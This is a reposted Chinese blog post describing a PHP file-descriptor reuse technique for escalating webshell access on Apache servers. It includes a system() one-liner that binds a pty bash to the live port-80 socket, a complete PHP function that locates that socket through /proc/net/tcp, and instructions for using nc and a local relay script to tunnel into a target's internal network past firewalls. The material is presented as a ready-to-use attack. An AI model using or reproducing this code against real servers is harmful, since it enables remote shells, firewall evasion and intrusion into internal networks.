博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PHP端口复用的利用
阅读量:2436 次
发布时间:2019-05-10

本文共 3466 字,大约阅读时间需要 11 分钟。

如果还有人记得我当年发在80sec上的那篇《 》的话,应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了:由于在系统底层exec其他进程的时候,所有开启的FD就会被自动关闭,因此就没有办法使用system等php函数,在子进程如bash中继续操作原有开启的高权限文件描述符。
但是最近PHP 5.3.6引进了一个新特性:利用fopen("php://fd/fd_number", "w")的形式,可以直接打开并操作当前进程的文件描述符。基本相当于一个fdopen函数调用。
结合这两点,由于php本身的一种运行方式是以apache的mod方式在apahe进程中存在的,所以对于php来说,他的自身进程也就是apache的进程,所有apache原来在root下打开的文件描述符,他都能操作。于是乎,原有修补完毕的漏洞,经过PHP新功能的妙手回春,又重现江湖了。
那么究竟如何利用这个漏洞呢?在 里,我曾经给出了一个例子,就是直接复用当前连接80端口的socket,生成一个交互性shell。当时我没有给出自动化查找当前连接80端口socket的实现,但实际上,在写文章的时候,我就私底下给出过一个利用shell工具自动化查找当前socket连接的方法:
system("ip=`netstat -ane | grep ${_SERVER['REMOTE_ADDR']} | grep ESTABLISHED | awk '{print \$8}'`;socket=`ls -alh /proc/self/fd | grep \$ip |awk '{print \$9}'`; python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&\$socket 0>&\$socket 2>&\$socket");
解读一下上面的
PHP
shell 代码:通过比对netstat -ane(e参数的作用是输出socket号)的输出和/proc/self/fd(当前进程的文件描述符信息)的内容,找到相匹配的socket号,那就是当前连接的socket了,然后立刻重用之。很简单吧?
但当时的例子已经不能在apache补丁后使用了,因为他用到了子进程再重定向输入输出来实现端口复用。而现在由于不能使用子进程来做这些事情,因此所有难点就集中在如何自动化的查找当前连接的socket上。
仔细看上面那些代码的原理,不过是使用netstat来进行当前系统中socket信息的输出比对。既然如此,我只要手工实现netstat的功能即可。那netstat又是如何实现的呢?
实际上,netstat本身也是通过读取系统中的/proc/net/tcp(6)文件来实现对当前网络状态的监控输出的。我们只要依样画葫芦对此文件进行解析(主要是合并ipv4和ipv6的内容,然后从16进制转换成字符串形式的ip,端口),然后再比对一下,只要发现此socket的远程ip和端口和php中的$_SERVER['REMOTE_ADDR'],$_SERVER['REMOTE_PORT']相匹配即可。具体实现如下:
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->
function find_socket(){
//
Get tcp connection status from /proc
$net =
file_get_contents("/proc/net/tcp");
$net .=
file_get_contents("/proc/net/tcp6");
//
Find fd from /proc
$dir =
dir("/proc/self/fd");
while (
false !== (
$e =
$dir->read())) {
//
Find socket inode in /proc/self/fd.
if (
is_link("/proc/self/fd/".
$e) &&
$e != "." &&
$e != ".."){
if(
preg_match("/socket:\[(\d+)\]/", @readlink("/proc/self/fd/".
$e),
$m1)){
//
Match every socket inode in /proc/net/tcp & /proc/net/tcp6.
// If it matchs this connection remote ip/remote port, bingo! We got it!
if(
preg_match("/.*${m1[1]}/",
$net,
$m2)){
preg_match_all("/(\w{8}):(\w{4})/",
$m2[0],
$m3);
//
decode ips
$sipstring =
$m3[1][0][6].
$m3[1][0][7].
$m3[1][0][4].
$m3[1][0][5].
$m3[1][0][2].
$m3[1][0][3].
$m3[1][0][0].
$m3[1][0][1];
sscanf(
$sipstring, "%x",
$siplong);
$ripstring =
$m3[1][1][6].
$m3[1][1][7].
$m3[1][1][4].
$m3[1][1][5].
$m3[1][1][2].
$m3[1][1][3].
$m3[1][1][0].
$m3[1][1][1];
sscanf(
$ripstring, "%x",
$riplong);
$sip =
long2ip(
$siplong);
$rip =
long2ip(
$riplong);
//
decode ports
sscanf(
$m3[2][0], "%x",
$sport);
sscanf(
$m3[2][1], "%x",
$rport);
if (
$rip ==
$_SERVER['REMOTE_ADDR'] &&
$rport ==
$_SERVER['REMOTE_PORT']){
$dir->close();
return
$e;
//
That is our socket fd.
}
}
}
}
}
$dir->close();
return
false;
}
ok,FD一找到,剩下的就是生成bash了。这里也不能老样子使用system,得换一下使用proc_open(为什么自己想)。具体代码就不写了。直接上效果:
只要简单的一个GET,就可以直接获取交互式shell,穿透防火墙哦亲~
上篇文章中还提到利用此方法可以做内网的端口转发,从而一个80端口走遍内网。不过当时没有给出实现,其实也非常简单,只需要将bash换成nc就可以了。不过这里需要多加一个slave端,在本地监听端口,让本地程序连接此端口,然后在数据发送前,加上一个GET请求,然后直接转发即可。我这里也给一下效果:
首先在本地执行一下slave程序,我这里是自己写的一个python脚本,pr.py。
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->python pr.py http://www.target.com/t.php
127.0.
0.1:
22
第一个参数为我们的脚本地址,第二个参数就是想要转发的目标地址了。我这里用的是target的22端口,实际上可以是他任意的内网地址。执行后,pr.py就会在我的机器本地监听1234端口,等待其他程序连接了。所有发送到本机1234的数据都会被转发到target的22端口中。
看,网络连接中可以很清晰的看到我们的nc程序正在忠实的进行这转发操作,而我们的ssh连接也一切正常。
稳定,舒适,一个80端口一个连接,内网任我行。
具体实现,我放到下面了。如果你还有兴趣,就自己研究一下吧。例如多一个sock5代理,甚至只要给nc加一个参数就可以了。

转载地址:http://zchmb.baihongyu.com/

你可能感兴趣的文章
J.U.C之CopyOnWriteArrayList
查看>>
J.U.C之Atomic&CAS
查看>>
类的生命周期
查看>>
Joda-Time学习
查看>>
Guava扩展工具包
查看>>
Jedis分片策略-一致性Hash
查看>>
BeanFactory和FactoryBean
查看>>
用户态和内核态的概念区别
查看>>
情境领导力
查看>>
赋能:打造应对不确定性的敏捷组织
查看>>
Java 学习方法浅谈
查看>>
Jsp连接数据库大全
查看>>
WebSphere Application Server 常见问题及解答:安全
查看>>
WebSphere Application Server 常见问题及解答:集群
查看>>
使用 SIBus JMS 提供者
查看>>
调试 SCA 调用
查看>>
SOA 治理框架和解决方案架构
查看>>
面向企业的云计算—了解云的一些基本概念
查看>>
实现基于角色的授权
查看>>
使用定制工作流程更新 RSS 数据源
查看>>